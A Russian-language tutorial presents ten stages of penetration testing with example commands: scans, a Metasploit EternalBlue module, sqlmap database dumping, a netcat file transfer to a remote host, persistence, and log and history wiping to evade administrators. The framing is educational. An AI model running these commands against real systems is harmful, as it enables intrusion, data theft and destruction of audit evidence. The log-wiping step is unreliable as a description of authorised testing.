Этичный хакинг — это не просто про атаки и защиту, это полноценная профессия, требующая глубоких знаний и определённых навыков. Одной из основных задач белых хакеров является тестирование на проникновение или "пентест", цель которого — найти уязвимости в системе до того, как это сделают злоумышленники. В этой статье мы пройдём по 10 ключевым шагам пентеста и рассмотрим примеры инструментов и команд, которые этичные хакеры используют на практике. Данный материал является логическим продолжением предыдущей статьи, где мы поговорили об этом на словах, а теперь чуть больше практики.
Шаг 1: Подготовка и сбор информации (Reconnaissance)
Первый и один из самых важных этапов пентеста — это сбор информации о цели. Хакеры используют различные методы для определения потенциальных точек входа, а также для того, чтобы понять, какие технологии и сети они будут атаковать.
Примеры инструментов и команд:
1. Nmap — базовый инструмент для сканирования сети, который показывает активные устройства и открытые порты.
nmap -sP 192.168.1.1/24
Это команда для простого пинг-сканирования, которое поможет выявить активные хосты в сети.
2. theHarvester — инструмент для сбора данных об электронной почте, доменах, именах пользователей и IP-адресах.
theHarvester -d example.com -l 500 -b google
Этот запрос отправляет запросы к Google и собирает все доступные данные по домену example.com.
3. Maltego — мощное средство для визуализации и анализа данных, использующее информацию из открытых источников (OSINT). Оно помогает увидеть связи между целями и внешними ресурсами (например, серверами, социальными сетями).
4. Shodan — поисковая система, которая индексирует подключённые к интернету устройства, такие как веб-камеры, маршрутизаторы и сервера.
shodan search apache
Команда для поиска устройств, которые работают на сервере Apache, что может быть полезно для атаки на конкретные сервисы.
Шаг 2: Определение активных служб и портов
На втором этапе необходимо сканировать целевые устройства, чтобы выяснить, какие порты открыты и какие службы работают на них. Открытые порты могут стать дверью для атаки.
Примеры инструментов и команд:
1. Nmap — универсальный инструмент для сканирования портов и служб.
nmap -sV -p 1-65535 192.168.1.100
Этот запрос сканирует все порты и пытается определить версии работающих на них служб.
2. Netcat — простое средство для работы с сетевыми подключениями, используемое для диагностики и поиска открытых портов.
nc -zv 192.168.1.100 80-443
Эта команда проверяет, какие порты открыты на целевом хосте в диапазоне от 80 до 443.
3. Masscan — инструмент, подобный Nmap, но обладающий гораздо большей скоростью. Он может сканировать миллионы IP-адресов за несколько минут.
masscan 192.168.1.1/24 -p80,443
Сканирование сети на наличие открытых портов 80 и 443.
4. Unicornscan — ещё одно средство для массового сканирования сетей и сбора информации об открытых портах.
unicornscan -i eth0 -p 1-1024 192.168.1.100
Шаг 3: Сканирование уязвимостей
Когда известно, какие службы работают на целевых устройствах, следующим шагом будет поиск уязвимостей в них. Это позволяет определить, какие уязвимости можно использовать для атаки.
Примеры инструментов и команд:
1. Nessus — один из самых мощных и популярных сканеров уязвимостей. Он предоставляет отчеты об известных уязвимостях.
Пример: запуск Nessus с автоматическим сканированием найденных служб.
2. OpenVAS — бесплатный аналог Nessus, который предоставляет информацию об уязвимостях в различных системах.
3. Nikto — инструмент для поиска уязвимостей на веб-серверах. Он проверяет наличие уязвимых версий программного обеспечения и плохих конфигураций.
nikto -h http://192.168.1.100
Nikto сканирует веб-сервер на предмет известных уязвимостей.
4. Wpscan — инструмент для поиска уязвимостей в веб-сайтах на базе WordPress.
wpscan --url http://example.com
Эта команда проверяет сайт на WordPress на наличие уязвимостей, связанных с плагинами, темами и самим движком.
Шаг 4: Атака на уязвимость
После нахождения уязвимостей, следующий шаг — это эксплуатация этих уязвимостей с целью получить доступ к системе. Этичные хакеры используют специальные инструменты для этого.
Примеры инструментов и команд:
1. Metasploit — один из самых мощных инструментов для эксплуатации уязвимостей. Он предоставляет готовые модули для различных уязвимостей.
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.100
exploit
Это пример использования модуля для эксплуатации известной уязвимости в SMB-протоколе (EternalBlue).
2. SQLmap — автоматический инструмент для эксплуатации SQL-инъекций.
sqlmap -u http://example.com/product.php?id=10 --dbs
SQLmap ищет SQL-инъекции на указанном сайте и может использовать их для получения доступа к базам данных.
3. BeEF (Browser Exploitation Framework) — средство для эксплуатации уязвимостей браузеров и их использования для дальнейших атак.
4. Exploit-db — база данных готовых эксплойтов для различных уязвимостей. Этичные хакеры могут искать и использовать эксплойты в зависимости от цели.
Шаг 5: Получение доступа
После успешной эксплуатации уязвимости хакеру может понадобиться определить, с какими привилегиями он вошел в систему, и попытаться повысить их.
Примеры команд и инструментов:
1. whoami — простая команда, которая показывает текущего пользователя в системе.
2. Mimikatz — мощный инструмент для получения паролей из памяти системы. Используется для того, чтобы получить учетные данные других пользователей или повысить привилегии.
Например можно использовать Mimikatz для вытаскивания хешей паролей из системы.
3. Privilege escalation scripts (например, LinPEAS) — скрипты для автоматического поиска уязвимостей, позволяющих повысить привилегии.
./linpeas.sh
Пример скрипта который анализирует систему и выдаёт рекомендации по повышению привилегий.
4. John the Ripper — инструмент для взлома хешей паролей.
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Шаг 6: Укрепление позиции в системе (Post-Exploitation)
Чтобы гарантировать сохранение доступа к системе, хакеры применяют различные техники, такие как установка бэкдоров и создание скрытых пользователей.
Примеры инструментов и команд:
1. Metasploit meterpreter — установка обратного шелла с использованием Metasploit.
meterpreter > persistence -X
2. Netcat — для создания постоянного сетевого подключения.
nc -lvp 4444
3. SSH — создание нового пользователя и добавление SSH-ключа для постоянного доступа.
4. C2 Frameworks (Command & Control) — такие инструменты, как Cobalt Strike и Empire, позволяют управлять удалёнными машинами и обеспечивать длительное нахождение в сети.
Шаг 7: Извлечение данных
После получения доступа к системе может возникнуть необходимость извлечь информацию, такую как конфиденциальные данные, файлы журналов, учетные данные или информацию о конфигурации системы. На этом этапе хакер работает с файлами системы, базами данных и сетевыми подключениями.
Примеры инструментов и команд:
1. SCP (Secure Copy Protocol) — используется для копирования файлов с удаленной машины на локальный компьютер через SSH.
scp user@192.168.1.100:/path/to/remote/file /local/directory/
Эта команда копирует файл с удаленной системы в локальный каталог.
2. Netcat — может использоваться для передачи файлов через сети.
nc -lvp 4444 > received_file.txt
На одной стороне (например, локальной машине) Netcat принимает файл, в то время как на удаленной стороне:
nc 192.168.1.50 4444 < file_to_send.txt
3. SQLmap — если был найден уязвимый SQL-сервер, SQLmap может извлечь данные из баз данных.
sqlmap -u http://example.com/vuln.php?id=10 --dump
Этот запрос извлекает всю базу данных из уязвимого сайта.
4. CrackMapExec — инструмент, который может быть использован для сбора информации о сетевых учетных данных и последующего извлечения данных.
crackmapexec smb 192.168.1.100 -u username -p password --shares
Он позволяет просматривать расшаренные ресурсы на удаленной машине, с которых можно копировать файлы.
Шаг 8: Эскалация привилегий
На этом этапе хакер пытается повысить привилегии, если доступ был получен с ограниченными правами пользователя. Получение привилегий администратора или root-доступа позволяет полностью контролировать систему.
Примеры инструментов и команд:
1. LinPEAS — скрипт, который анализирует Linux-систему на предмет слабостей, позволяющих повысить привилегии.
2. WinPEAS — аналогичный инструмент для Windows-систем. Автоматически анализирует систему и предоставляет список уязвимостей для повышения привилегий.
3. Sudo Misconfigurations — на системах Linux часто встречается ошибка конфигурации sudo, позволяющая выполнять команды с правами root.
4. Kernel Exploits — хакеры могут использовать уязвимости в ядре системы для получения root-доступа. Например, CVE-2021-4034 (уязвимость Polkit в Linux).
Шаг 9: Отслеживание действий и установление контроля
После того как хакер получил доступ и закрепился в системе, он может установить постоянный контроль и следить за активностью на целевой машине. Это позволяет оставаться незамеченным и управлять системой в дальнейшем.
Примеры инструментов и команд:
1. PsExec — инструмент для удаленного выполнения команд на Windows-машинах. Используется для управления системой после получения доступа.
psexec \\192.168.1.100 -u administrator -p password cmd
2. Netstat — позволяет отслеживать активные сетевые соединения на машине и смотреть, какие устройства взаимодействуют с системой.
3. Splunk — продвинутый инструмент для мониторинга системных логов. Хакер может использовать его для анализа активности в системе.
4. Wireshark — анализатор сетевого трафика, который позволяет отслеживать все сетевые соединения. Хакеры могут использовать его для анализа трафика в реальном времени.
Шаг 10: Очистка следов и завершение теста
Когда все цели достигнуты, важно очистить следы, чтобы администраторы системы не могли легко обнаружить действия хакера. Это включает в себя удаление журналов, закрытие бэкдоров и обеспечение того, что хакерские инструменты не оставили следов.
Примеры инструментов и команд:
1. Clear Command History — на Linux и macOS можно очистить историю команд.
history -c
2. Log Tampering — на Windows можно редактировать или очищать логи событий, чтобы скрыть следы.
wevtutil cl System
3. Shred — команда для безопасного удаления файлов на Linux.
shred -u -n 5 /path/to/file
Заключение
Пентест — это сложный и многоуровневый процесс, требующий использования множества различных инструментов и техник. Каждый из описанных шагов помогает хакеру глубже проникнуть в систему, выявить её слабые места и разработать методы защиты. Этичный хакинг способствует тому, чтобы организации могли заранее подготовиться к возможным угрозам и улучшить свою кибербезопасность.
Понимание этих шагов и практическое использование указанных инструментов — ключ к успешному тестированию на проникновение.